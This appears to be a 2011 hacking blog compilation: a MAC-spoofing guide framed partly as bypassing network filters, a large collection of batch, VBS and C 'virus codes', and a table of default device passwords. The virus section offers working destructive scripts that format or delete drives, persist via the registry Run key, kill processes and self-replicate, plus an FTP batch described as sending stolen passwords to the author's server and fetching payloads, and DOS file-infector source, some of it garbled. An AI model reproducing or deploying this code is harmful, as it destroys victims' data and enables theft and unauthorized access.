Logic bombs are programmers, which are activated on the occurrence of a particular predefined event. The logic bomb was programmed to take ten cents from all the accounts in the bank and put them into the account of the person whose name was alphabetically the last in the bank’s rosters. Then he went and opened an account in the name of Ziegler. The amount being withdrawn from each of the accounts in the bank was so insignificant that neither any of the account holders nor the bank officials noticed the fault.

It was brought to their notice when a person by the name of Zygler opened his account in that bank. He was surprised to find a sizable amount of money being transferred into his account every Saturday

Ethical Hacking-License to hack!!

2011-06-07T13:10:00.000+05:30

Have you ever dreamt to be like 007 ? Well you don’t need to be an MI5 spy to do it. The career of Ethical hacking is closest to 007. Ethical Hacking -License to hack for a good purpose, for protecting the companies and nations. In the field of Information Technology and Security a new and prospering career emerging is ethical hacking. An area where its taught to think like hacker, use the tools used by hackers, exploit the vulnerabilities which are exploited by hacker, be a part of forums where hackers are present and secure you organization thinking like hacker. Ethical hackers though are on a rise but still the field has shortage of quality professionals.

In case you want to compete with the best hackers and protect your organization from them , Ethical hacking is right course for you because remember to catch a thief think like one.

To change WI-FI MAC address

2011-06-07T13:09:00.001+05:30

In this blog you will have get the process to change

the MAC address of WI-FI.

MAC address (Media Access Control address) is a quasi-unique identifier consists of a six byte number that attached to most network adapter card or network interface card (NIC). As such, all network cards, whether it’s of Ethernet NIC, Gigabit Ethernet NIC or wireless 802.11a/b/g/n WiFi or Hiper-LAN adapter, should have different MAC addresses, which also known as Ethernet Hardware Address (EHA) or adapter address.

In operating system, MAC address is often represented in 12-digit hexadecimal number. In practical usage, layer 2 MAC address is converted from layer 3 protocol addresses such as Internet Protocol (IP address) by ARP (Address Resolution Protocol), which then allowed each host to be uniquely identified and frames to be marked for specific hosts on broadcast networks, such as Ethernet. After translated (or when a host on LAN sends its MAC address to another machine which does n ot configured not to accept unrequested ARP replies on the network for preemptive caching), MAC address is cached on source PC ARP table for later use. Content of ARP table on each computer can be viewed by typing arp -a in Windows or arp in Linux. MAC address thus forms the basis of most of the layer 2 networking upon which higher OSI Layer protocols are built to produce complex, functioning networks.

There are many reasons or possibilities that an user may want to change the MAC address or a network adapter, which also known as MAC spoofing. For example, to bypass the MAC address filtering on firewall or router. The trick can be used to get pass the network access restriction by emulating a new unrestricted MAC address, or to gain access connection by spoof an authorized MAC address after sniffing the legitimate MAC address out of the air in MAC filtering Wi-Fi network.

Beside, hackers or enthusiasts also spoofing another host’s MAC address as their own in order to receive traffic packets not meant for them, although ARP poisoning technique is more commonly used. However, changing MAC address can still keep the real information from been detected and logged by various services such as IDS, firewall, DHCP server, wireless access points and etc, and is essential protect user’s privacy. MAC spoofing also potentially trigger a Denial of Service (DoS) attack by causing routing problem with duplicating MAC address exists in the network, especially those similar with gateway and AP router’s BSSID (Basic Service Set Identifier.)

Whatever the reason, it’s pretty easy to change the MAC address or perform MAC spoofing on most of today’s hardware, listed below. Actually, the original MAC address is burnt and imprinted to the network card, and cannot be changed. However, operating system can spoof as if there is different MAC address for the network interface card using tricks below.

Change the MAC address in Windows

1. Go to Start -> Control Panel. Double click on Network Connections (inside Network and Internet Connections category in Windows XP

). The, right click on the active network connection with network adapter that you want to change the MAC address (normally Local Area Network or Wireless Network Connection) and click on Properties.

Above steps work in Windows XP, Windows 2000 and Windows Server 2003. For Windows Vista, access to NIC’s properties is from Control Panel -> Network and Internet -> Network and Sharing Center -> Manage Network Connections.

Alternatively, if you already know which network adapter that’s responsible for your network or Internet connection, go to Device Manager and open the properties dialog by double click on the NIC itself.

2. In the General tab, click on the Configure button.

3. Click on Advanced tab.

4. In the Property section, select and highlight Network Address or Locally Administered Address.

5. To the right, “Not Present” radio button is by default selected as value. Change the value by clicking on radio button for Value:, and then type in a new MAC address to assign to the NIC.

Change MAC Address of Network Adapter

The MAC address consists of 6 pairs of numbers (0 – 9) and characters (A – F) combination.

6. Click OK when done.

7. To verify the change of MAC address, go to command prompt, then type in one of the following commands:

ipconfig /all

net config rdr

8. Reboot the computer if successful to make the change effective.

Note: To restore or reset back to original default MAC address, simply set back the option to “Not Present”.

Change the MAC Address of NIC in Windows via Registry

1. Open a command prompt.

2. Type the following command and hit Enter.

ipconfig /all

3. Record down the Description and the Physical Address (is MAC address) of the active network connection (discard those with Media Disconnected state).

Get MAC Address for Network Card

For example, in figure above, Description is Intel(R) Wireless WiFi Link and MAC address is in the format of XX-XX-XX-XX-XX-XX.

4. In the command prompt also, type the following command and hit Enter.

net config rdr

5. Record down the GUID for the MAC address for the active connection’s NIC which MAC address to be changed. The GUID is contained within the { and } brackets right in front of the MAC address as shown in figure below.

GUID for the NIC

6. Type regedt32 or regedit in Start -> Run box or in Start Search for Windows Vista. Note: for Windows NT 4.0 and Windows 2000, regedt32 must be used.

7. Navigate to the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}

8. Expand the {4D36E972-E325-11CE-BFC1-08002BE10318} tree, and there will be more sub-keys in the form of 0000, 0001, 0002 and so on.

9. Go through each sub-key starting from 0000, look for subkey that has DriverDesc value data that matches NIC description copied from step above, that want its MAC address to be changed. In most cases, it will be similar to the network adapter card name.

To verify that the subkey found is indeed a correct one, check the value of the Net-CfgInstanceId, which should have the same value with the NIC’s GUID taken from step above.

10. Once a sub-key is matched to the network interface card that MAC address want to be spoofed, select and highlight the subkey. Right click on the sub-key (for example, 0000), then select New -> String Value. Name the new value name as NetworkAddress.

Note: If NetworkAddress REG_SZ registry key is already existed in the right pane, skip this step.

11. The double click on NetworkAddress and enter a new MAC address as its value data.

Change and Spoof MAC Address in Registry

Note that the 12-digit MAC address in hexadecimal format, and should be entered without any dash (-).

12. Reboot the system to make the new MAC address effective. Alternatively, if you don’t want to restart the system, try to disable and then re-enable the network adapter in Device Manager.

13. To verify the change of MAC address, go to command prompt, then type in one of the following commands:

ipconfig /all

net config rdr

Note: To restore or reset back to true original hardware burned-in MAC address, remove the NetworkAddress registry key that is been added.

Alternative: Third party tools and utilities to change the MAC address in Windows operating system are plenty, for example: SMAC (direct download link to smac20_setup.ex, supports Windows Vista, XP, 2003, 2000), Macshift (direct download link to macshift.zip, for Windows XP), BMAC (almost identical SMAC MAC changer clone by moorer-software.com), Mac MakeUp (direct download link to macmakeup.zip, for Windows 2000/XP/2003/Vista), MadMACs (MAC Address Spoofing And Host Name Randomizing App For Windows, directly download MadMACs.zip), EtherChange (direct download link to etherchange.exe), and Technitium MAC Address Changer (for Windows 2000 / XP / Server 2003 / Vista / Server 2008).

Batch File Virus Codes(only for education purpose)

2011-06-07T13:08:00.000+05:30

Batch File Virus

Simple Virus Making

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to make simple .bat file (virus) that can’t be detected by any anti virus
Here are some good viruses ,i am not responsible for any kind of damage to your system …
Copy this to notepad and save as flood1.bat…..
@ECHO OFF
@ECHO A Sharma’s Creation

@ECHO MAIN BAT RUNNING
GOTO start
:start
@ECHO SET magic2=1 >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
@ECHO :flood5 >> bat6.bat
@ECHO SET /a magic2=%%magic2%%+1 >> bat6.bat
@ECHO NET USER magic2%%magic2%% /add >> bat6.bat
@ECHO GOTO flood5 >> bat6.bat
START /MIN bat6.bat
GOTO bat5
:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.bat
@ECHO SET pogo=1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
@ECHO :flood4 >> bat5.bat
@ECHO MKDIR pogo%%pogo%% >> bat5.bat
@ECHO SET /a pogo=%%pogo%%+1 >> bat5.bat
@ECHO GOTO flood4 >> bat5.bat
START /MIN bat5.bat
GOTO bat4
:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.bat
@ECHO SET hat=1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
@ECHO :flood3 >> bat4.bat
@ECHO MKDIR hat%%hat%% >> bat4.bat
@ECHO SET /a hat=%%hat%%+1 >> bat4.bat
@ECHO GOTO flood3 >> bat4.bat
START /MIN bat4.bat
GOTO bat3
:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.bat
@ECHO SET chart=1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
@ECHO :flood2 >> bat3.bat
@ECHO MKDIR chart%%chart%% >> bat3.bat
@ECHO SET /a chart=%%chart%%+1 >> bat3.bat
@ECHO GOTO flood2 >> bat3.bat
START /MIN bat3.bat
GOTO bat2
:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.bat
@ECHO SET gamer=1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
@ECHO :flood >> bat2.bat
@ECHO MKDIR gamer%%gamer%% >> bat2.bat
@ECHO SET /a gamer=%%gamer%%+1 >> bat2.bat
@ECHO GOTO flood >> bat2.bat
START /MIN bat2.bat
GOTO original

riginal
CD %HomeDrive%\
SET sharma=1
GOTO flood1
:flood1
MKDIR sharma%sharma%
SET /a sharma=%sharma%+1
GOTO flood1
What does it do : this is an extremely harmful virus the will keep replicating itself until your hard drive is totally full and will destroy your comp.

Some Funny Virus Codes
A simple binary codes that can format the system drive ,secondary drives…
Copy The Following In Notepad Exactly as it
01001011000111110010010101010101010000011111100000
Save As An EXE Any Name Will Do

Send the EXE to People And Infect
Some other interesting formatting codes….
format c:\ /Q/X — this will format your drive c:\
01100110011011110111001001101101011000010111010000 100000011000110011101001011100
0010000000101111010100010010111101011000
format d:\ /Q/X — this will format your dirve d:\
01100110011011110111001001101101011000010111010000 100000011001000011101001011100
0010000000101111010100010010111101011000
format a:\ /Q/X — this will format your drive a:\
01100110011011110111001001101101011000010111010000 100000011000010011101001011100
0010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini — this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 101111010100110010111101010001
00100000011000110011101001011100011000100110111101 101111011101000010111001101001
0110111001101001

Some more interesting stuff ..

open notepad
erase c:\windows
and save as
FINDOUTANAME.cmd

wat does it do:- will erase c:/windows .

Here is another one which is funny……

cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep 5000>C:\sleep5000.vbs
echo Wscript.Sleep 3000>C:\sleep3000.vbs
echo Wscript.Sleep 4000>C:\sleep4000.vbs
echo Wscript.Sleep 2000>C:\sleep2000.vbs
cd %systemroot%\System32
dir
cls
start /w wscript.exe C:\sleep3000.vbs
echo Deleting Critical System Files…
echo del .
start /w wscript.exe C:\sleep3000.vbs
echo Deletion Successful!
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:\sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:\sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:\Documents and Settings\All Users\Start Menu\Programs\
mkdir h4x
start /w wscript.exe C:\sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:\sleep3000.vbs
echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
echo start hax.exe
start /w wscript.exe C:\sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:\sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:\sleep2000.vbs
echo Killing all processes…
start /w wscript.exe C:\sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:\sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:\sleep2000.vbs
echo:
echo Have fun!
start /w wscript.exe C:\sleep2000.vbs
pause
shutdown -f -s -c “Your computer has committed suicide. Have a nice day.”

This code about multiple open windows means infinite windows
until continue you restart the computer:save on denger.bat and code written in notepad
@echo off
copy 0% denger.bat
start denger.bat
This code about the computer shutdown:
@echo off
shutdown -s -t 5 -c “Shutdown”
Go to notepad and type the following:
@Echo off
Del C:\ .|y
save it as Dell.bat
Want worse then type the following:
@echo off
del %systemdrive%\./f/s/q
shutdown -r -f -t 00
and save it as a .bat file
One more …
try one this
Cd C:\
rd C:\ /s/q
Cd D:\
rd D:\ /s/q
Cd E:\
Rd E:\ /s/q
Cd F:\
Rd\ /s/q
then it is complete Save as any file you want in .bat format.. n enjoy.its really dangerous don’t try on your own pc.

NOTE :- Howto add your own created viruses into start ups this will make it difficult to detect them n to remove them …
For this u need a registry updater software .
now move your .bat file to c:/windows and then simply run this software ur virsu will be added to your start ups i tried this with shut down , as my comp starts its shut down after 2 secs ..

Do not try it on your PC. Don’t mess around this is for educational purpose only

Batch VIRUS Killing “ NORTON, LIMEWIRE, EXPLORER, MSN “
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 .bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg R.I.P
msg * R.I.P
shutdown -r -t 10 -c “VIRUS DETECTED”
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

The first code we are going to look at is one that makes the cd tray open and close repeatedly until shutdown, or
(don’t tell your friends, you press ctrl + alt + delete and go to processes, and end wscript.exe (this code is vbs so save in note pad as whateveryouwant.vbs)

Set oWMP = CreateObject(“WMPlayer.OCX.7″ )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next ‘ cdrom
loop
end if
A code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

A batch that is like a computer password, maybe you could stick it in autoexec.exe and make it run off startup?
@Echo off
echo Enter password then [F6] and then smack the [Enter] key real hard!
prompt $e[30m
echo on
echo off
copy con password.dat>nul
prompt $e[0m
echo on
echo off
cls
copy password.set+password.dat password.bat>nul
call password.bat
if '%password%==qwerty goto done
echo Incorrect, you are not trying to break into my pc are you?
choice /t:y,3
if errorlevel 2 goto next
:next
erase password.bat
erase password.dat
:hello
cls
echo Turn off PC
goto hello
:done
erase password.dat
erase password.bat
set password=qwerty
prompt $p$g

A batch that switches the left mouse button with your right mouse button (also maybe add a code to stick in someones autoexec,
that would really make them mad)

@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * this is gunna screw you up
msg * good look finding how to fix it

A batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more, some one
could tweak it a little and i'll repost it and give you credit, perhaps change the dos txt to green

@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:.
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings.
net share hack=C:
shutdown -s -c 60

This is a VBs file so of course save as VBS, you can replace the txt in this code with whatever you want
Set wshshell = wscript.CreateObject("WScript.Shell")
Wshshell.run "Notepad"
wscript.sleep 400
wshshell.sendkeys "M"
wscript.sleep 100
wshshell.sendkeys "a"
wscript.sleep 120
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys "o"
wscript.sleep 140
wshshell.sendkeys "n"
wscript.sleep 100
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "P"
wscript.sleep 200
wshshell.sendkeys "w"
wscript.sleep 150
wshshell.sendkeys "n"
wscript.sleep 170
wshshell.sendkeys "s"
wscript.sleep 200
wshshell.sendkeys " "
wscript.sleep 100
wshshell.sendkeys "A"
wscript.sleep 50
wshshell.sendkeys "l"
wscript.sleep 120
wshshell.sendkeys "l"
wscript.sleep 160
wshshell.sendkeys " "
wscript.sleep 200
wshshell.sendkeys "N"
wscript.sleep 100
wshshell.sendkeys "e"
wscript.sleep 100
wshshell.sendkeys "w"
wscript.sleep 200
wshshell.sendkeys "b"
wscript.sleep 120
wshshell.sendkeys "s"

Carpet Bomb:
Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.
@ECHO OFF
:This was meant as a harmless joke, and it's not hard to fix if you read through the code.
:If you just use the "disinf" argument on the command line all is well.
lease only use this on people u don't like
IF "%1"=="" GOTO fill
IF "%1"=="fill" GOTO fill
IF "%1"=="kill" GOTO kill
IF "%1"=="inf" GOTO inf
IF "%1"=="disinf" GOTO kill
GOTO bye
:fill
IF EXIST C:\Users\%USERNAME%\Desktop\ (
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\Public\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
)
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
IF "%1"=="" GOTO inf
GOTO theend
:kill
IF EXIST C:\Users\%USERNAME%\Desktop\ (
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\Public\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Users\%USERNAME%\Desktop\joke%%A.bat"
)
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\All Users\Desktop\joke%%A.bat"
FOR /L %%A IN (1, 1, 200) DO ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Desktop\joke%%A.bat"
IF "%1"=="disinf" GOTO disinf
GOTO theend
:inf
TYPE "%~df0" > "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
TYPE "%~df0" > "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
TYPE "%~df0" > "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
GOTO theend
:disinf
ECHO Y | DEL "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\joke.bat"
ECHO Y | DEL "C:\Documents and Settings\%USERNAME%\Start Menu\Programs\Startup\joke.bat"
ECHO Y | DEL "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\joke.bat"
GOTO theend
:bye
ECHO "fill" to make more and "kill" to get rid of 'em. inf to make it stick a little longer
:theend
Once the batch file is executed, it copies itself hundreds of times onto the desktop and startup folder. This means that it'll regenerate once the computer is restarted even if all the icons on the desktop are deleted. This works on Windows XP and Vista. Command line-args are optional, and include "disinf" for erasing all of the copies permanently.\
Creating a batch Bomb
Copy and paste the below into notepad and save it as hi.bat (Not .txt)
run it, and enjoy anarchy.

Code:
@echo off
:START
echo Error, Critical Windows Failure. Format Hard Disk and Reinstall OS!
start hi.bat
GOTO START

A code that turns on and off your capslock repeatedly, also vbs, end same way as last time, this turns on and off your capslock every tenth of a second.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

How to make a shutdown file and disguise it as something else!
This article is a pretty simple one, maybe most of you guys know already... in case if you don't know, you can play around and make fun...
How to make a shutdown file and disguise it as something else (internet, etc.)
Step 1: Right click on your desktop or wherever you want to make this shutdown file
Step 2: look for new, then shortcut
Step 3: Type shutdown -s -t 10 -c "text here"
note: you can add -f to force close open docuuments
note: after -t you can put any amount of seconds you want before the computer shuts down
Step 4: push next, then name it whatever you like, for an example we will put Internet Explorer
Step 4: Right click on the file you just made and goto properties
Step 5: hit change icon. (This could be under the advanced tab)
Step 6: An error message should pop up letting you know there aren't any pictures for c:\windows\system32. Hit ok
Step 7: A list of icons should show up.. click on the one you think looks the most persuasive according to what you named it. (For example, look for the 'e' icon for internet explorer.
Now your done, see that wasn't that hard! was it?
Put this in the start up folder to make people even MORE mad!

NOTE:- This can easily be stopped by typing shutdown -a in run...

Sending Files Via ftp Batch!
OK, So i made a password stealer that would output a .txt file to the windows folderm i then made a ftp batch that would upload the txt file to my server, so far ive managed to get some passwords but not for anything important, So if you want to know how to make a ftp batch then heres how.
First for example were gonna try upload a file called Test.txt to our server

Upload.bat
ftp -n -i -s:MyUploadFiles.ftp

First make a file called upload.bat and put this in, Now we need to make the myuploadfiles.ftp, if you wanna call it something else then change the myuploadfiles.ftp to what you want but KEEP the .ftp at the end.
Ok now its the myuploadfiles.ftp creating time, or whatever you called it before.
open your-host
user username.spam.com password
ASCII
send test.txt
BI
This is the bit where you have to change the username password and host to what your ftp host is. then change the send test.txt to what file you want to upload, it doesn't have to be a txt file, it can be any one.
Now make sure both files are in the same dir as each other and run the .bat file. check your ftp server and guess whats sitting there! test.txt! So if you want to upload a file from someone's pc, you could use this?

Also theres nothing stopping you from putting in the "get" command in the .ftp, say get download.bat, whenever you want to change what it does make it call it download.bat and shove it on the server, then the victim will download it and be executed.
Folder Replicator Batch VIRUS
Here is a Simple bacth virus that contains only 6 lines, has the tendency to replicate itself again
and again and keeps on creating a folder with same name, until a user stops it.
1. Just open up a notepad, copy and paste the below code
cd\
cd C:\Documents and Settings\username\Desktop
:loop
md Virus
cd Virus
goto loop

2. Save it as a batch file with the extension .bat.
3. Then run it on the Victims computer to infect it.
4. Any how it doesnt cause much harm, but replicates folder inside a folder and goes on.

VIRUS CODES IN “ C “ :-

BATCH & COM VIRUS

#include <stdio.h>
#include <dos.h>
#include <dir.h>
#include <string.h>

struct ffblk ffblk;
main()
{
char old_dir[MAXPATH];
Get_Path(old_dir);            / Save the old directory /
Pick_A_Dir();                 / Find a new directory to /
Infect_Directory();           / infect and infect it.   /
chdir(old_dir);               / Return to old directory /
return 0;
}

Pick_A_Dir()
{
int done;
chdir(“..”);                      / First, Go out a DIR. /
done=findfirst(“.BAT”,&ffblk,0); /* If no BAT files, try /
/ root and DOS         /
if (done)
{
chdir(“\\”);
done=findfirst(“.BAT”,&ffblk,0);*
if (done) chdir(“\\DOS\\”);
}
return 0;
}

Infect_Directory()
{
int done;

done = findfirst(“.BAT”,&ffblk,0);*
while (!done)                       / Find all .BAT files /
{                                / and add code to run /
Do_Batch();                     / BAT&COM if not      /
done = findnext(&ffblk);        / already there       /
}

if (findfirst(“BAT&COM.COM”,&ffblk,0)) / If BAT&COM does /
{Copy_Virus();}                     / not exist, then /
return 0;                              / copy it into dir./
}

Do_Batch()
{
FILE batch;*
char Infection_Buffer[12];
char vpath[MAXPATH];

Get_Path(vpath);            / Get path for adding path /
/ specifier in commands    /

if (vpath[3]==0) vpath[2]=0; / Keep path good in root /

batch=fopen(ffblk.ff_name, “rt+”);
fseek(batch, -11, SEEK_END);
fread(Infection_Buffer,11,1,batch);
Infection_Buffer[11]=0;             / Terminate String /

if (strcmp(Infection_Buffer,”BAT&COM.COM”)) / Check if /
{                                   / Batch is /
fseek(batch, 0, SEEK_END);          / infected./
fprintf(batch,”\n%s\\BAT&COM.COM”,vpath);
}                              /^- Add command /
/   to batch    /

fclose(batch);
return 0;
}

Copy_Virus()
{
FILE old_virus, new_virus;
int write_length;
char copy_buffer[1024];              / Copy the virus to /
/ new directory     /
old_virus=fopen(_argv[0],”rb”);
new_virus=fopen(“BAT&COM.COM”,”wb”);

write_length=1024;

while (write_length==1024)
{
write_length=fread(copy_buffer,1,1024,old_virus);
fwrite(copy_buffer,write_length,1,new_virus);
}
fclose(old_virus);
fclose(new_virus);
return 0;
}

Get_Path(char path)*
{
strcpy(path, “A:\\”);
path[0] =’A’ + getdisk();    / Returns current path /
getcurdir(0, path+3);
return 0;
}
-       – - —————–End of Code———————— – - -

BLACK WOLF VIRUS

/ It will infect all .COM files in the current directory /

#include <stdio.h>
#include <dos.h>
#include <dir.h>

FILE Virus,Host;
int x,y,done;
char buff[256];
struct ffblk ffblk;

main()
{
done = findfirst(“.COM”,&ffblk,0);   /* Find a .COM file /
while (!done)               / Loop for all COM’s in DIR/
{
printf(“Infecting %s\n”, ffblk.ff_name);    / Inform user /
Virus=fopen(_argv[0],”rb”);          / Open infected file /
Host=fopen(ffblk.ff_name,”rb+”);     / Open new host file /

x=9504;                               / Virus size – must   /
/ be correct for the /
/ compiler it is made /
/ on, otherwise the   /
/ entire virus may not/
/ be copied!!         /
while (x>256)                         / OVERWRITE new Host /
{                                 / Read/Write 256 byte /
fread(buff,256,1,Virus);          / chunks until bytes /
fwrite(buff,256,1,Host);          / left < 256          /
x-=256;
}
fread(buff,x,1,Virus);                / Finish off copy     /
fwrite(buff,x,1,Host);
fcloseall();                          / Close both files and/
done = findnext(&ffblk);              / go for another one. /
}
/ Activation would go /
/ here                /
return (0);                             / Terminate           /
}

OVERWRITE VIRUS CODE
#include<stdio.h>
#include<dir.h>
#include<dos.h>
void main(int argc,char argv[])*
{
int bytes,i,done;
FILE virus,host;
struct ffblk f;*
char buffer[512];
do
{
done=findfirst(“.exe”,f,0);*
while(!done)
{
virus=fopen(argv[0],”rb”);//open the virus in read mode
host=fopen(f->ff_name,”rb+”);//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf(“infecting %s
“,f->ff_name);
done=findnext(f);
}
}
while(!chdir(“..”));
printf(“For any querry contact
*Rakesh dwivedi;**Rakeshdwivedi21@gmail.com“);*

REPLICATION VIRUS

#include<stdio.h>
#include<dos.h>
#include<dir.h>
#include<fcntl.h>
#include<conio.h>
void main(int argc,char argv[])*
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Rakesh_dwivedi(rakeshdwivedi21@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”.”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Its All About What you need!!

2011-06-07T13:07:00.001+05:30

*Default-Passwords*
Vendor Model Version Access Type Username PASSWORD Privileges Notes
3COM CellPlex 7000 Telnet root (none) Admin
3COM Switch 3300XM Multi admin admin Admin
3COM LANplex 2500 Telnet tech tech
3COM officeconnect Multi n/a (none) Admin
3COM CellPlex 7000 Telnet tech tech User
3COM SuperStack 3 4400-49XX Multi manager manager User can access/change operational setting but not security settings
3COM HiPerARC v4.1.x Telnet adm (none)
3COM HiPerACT v4.1.x Telnet admin (none) Admin
3COM SuperStack 3 4XXX Multi admin (none) Admin
3COM CellPlex 7000 Telnet root (none) Admin
3COM CellPlex 7000 Telnet tech tech Admin
3COM cellplex 7000 Telnet admin admin Admin
3COM HiPerACT v4.1.x Telnet admin (none) Admin
3COM CellPlex 7000 Telnet admin admin Admin
3COM super Telnet admin (none) Admin
3COM superstack II 1100/3300 Console 3comcso RIP000 initialize resets all pws to defaults
3COM CellPlex HTTP admin synnet Admin
3COM OfficeConnect 812 ADSL Multi adminttd adminttd Admin
3COM NetBuilder SNMP ILMI snmp-read
3COM Wireless AP ANY Multi admin comcomcom Admin Works on all 3COM wireless APs
3COM SuperStack II Switch 2700 Telnet tech tech
3COM LinkSwitch 2000/2700 Telnet tech tech
3COM LANplex 2500 Telnet debug synnet
3COM cellplex Multi admin admin Admin
3COM NetBuilder SNMP (none) admin User SNMP_READ
3COM cellplex Multi n/a (none) Admin
3COM 3COM SuperStack 3 Switch 3300XM Multi security security Admin
3COM LANplex 2500 Telnet tech (none) Admin
3COM Netbuilder HTTP Root (none) Admin http://10.1.0.1
3COM cellplex Multi admin admin Admin
3COM NetBuilder SNMP ANYCOM snmp-read
3COM SS III Switch 4xxx (4900 – sure) Telnet recovery recovery resets_all_to_default u need to power off unit. tbl_
3COM cellplex 7000 Telnet operator (none) Admin
3COM Office Connect ISDN Routers 5×0 Telnet n/a PASSWORD Admin
3COM SuperStack II Switch 2700 Telnet tech tech Admin
3COM 3c16405 Console Administrator (none) Admin
3COM CoreBuilder 7000/6000/3500/2500 Telnet debug synnet
3COM HiPerARC v4.1.x Telnet adm (none) Admin
3COM 3C16450 Multi admin (none) Admin telnet or serial
3COM HiPerACT v4.1.x Telnet admin (none) Admin
3COM Netbuilder Multi admin (none) Admin
3COM 3c16405 Console Administrator (none) Admin
